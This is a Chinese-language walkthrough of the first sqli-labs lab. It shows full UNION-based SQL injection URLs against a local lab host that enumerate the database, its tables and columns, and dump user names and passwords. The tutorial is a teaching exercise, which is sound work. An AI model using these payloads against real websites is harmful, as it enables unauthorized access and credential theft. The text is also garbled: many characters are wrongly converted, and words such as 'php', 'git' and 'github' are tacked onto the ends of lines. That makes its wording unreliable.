經過sqli-labs學習SQL注入(1)

環境搭建

具體搭建請自行百度php

sqli-labs第一關

圖片描述
圖片描述
圖片描述

在後面輸入?id=1 mysql

能夠看到返回的頁面出現了賬戶和密碼,固然,你會發現改成id=2id=3會出現不一樣的賬戶和密碼,雖然這就是咱們最終要拿到的數據,可是咱們應該經過SQL注入的方式來獲得它。git

具體流程:github

  1. 先肯定是字符型注入仍是整型注入
    像這種?id=1的,後臺會將id這個變量的值接受並組合成數據庫查詢語句,好比這裏可能會這樣"select * from 表名 where id=1"若是是這樣的格式,那麼就說明是整型;若是是select * from 表名 where id='1',那麼就是字符型。固然,通常狀況下咱們是看不到源代碼的,可是這裏是學習,咱們就先對照源碼來看看究竟是怎麼處理的,關鍵代碼:"SELECT* FROM users WHERE id='$id' LIMIT 0,1"能夠看到這是字符型注入。
  2. 猜字段數
    關鍵語法:order by
    在變量id後面加上 order by 1
    由於是字符型注入,那麼"http://192.168.155.128/sqli-l... order by 1"被後臺接受後,會組合成SELECT * FROM users WHERE id='1 order by 1' LIMIT 0,1,語法錯誤,咱們應該構形成"SELECT * FROM users WHERE id='1' order by 1#' LIMIT 0,1" 因此應該在id=後面加上1' order by 1#,也就是"http://192.168.155.128/sqli-l...' order by 1#"
    回車後會發現報錯了,這是由於咱們沒有對url中的#號進行url編碼,使用hackerbar插件編碼後"http://192.168.155.128/sqli-l...' order by 1%23",接下來就是慢慢試出它的字段數,最後會發現order by 3正常,order by 4錯誤,說明一共是3列。
  3. 經過聯合查詢查出當前用戶,數據庫名等信息
    注意:此方法只是用戶mysql 5.0以上版本
    將url改爲"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,3%23"回車後發現並無顯示出數字,這是由於php中的mysql_fetch_array函數,這時候只須要把union左邊的等式改成假就行,這裏我把id=1改成id=-1,能夠看到數字出來了圖片描述
    2和3這兩個數字均可以用,咱們這裏就使用3吧。一個一個顯示太麻煩了,這裏咱們能夠用數據庫的鏈接函數concat_ws,hackbar插件有現成的,使用後,url變成了"http://192.168.155.128/sqli-l...'UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version())%23"
    能夠看到顯示出了數據庫名security。
  4. 查詢數據庫中的表
    有了數據庫名,就能夠經過information_schema.tables獲得表名,"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,table_name from information_schema.tables where table_schema='security'%23" 在最後加上limit 0,1逐個猜出表名。最終獲得users,固然,猜出來的其餘表名也能夠把裏面的數據爆出來,這裏咱們只須要users裏的數據。
  5. 經過表名獲得列名
    經過information_schema.columns獲得表名,"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1%23",而後逐個獲得列名分別是id,username,password
  6. 枚舉用戶名和密碼
    "http://192.168.155.128/sqli-l...' UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),id,username,password) from users limit 0,1%23"

總結

在mysql5.0以上版本中,能夠經過information_schema獲取到當前數據庫名,再經過數據庫名拿到表名,再經過表名拿到列名,最後獲得想要的數據。sql

相關文章
相關標籤/搜索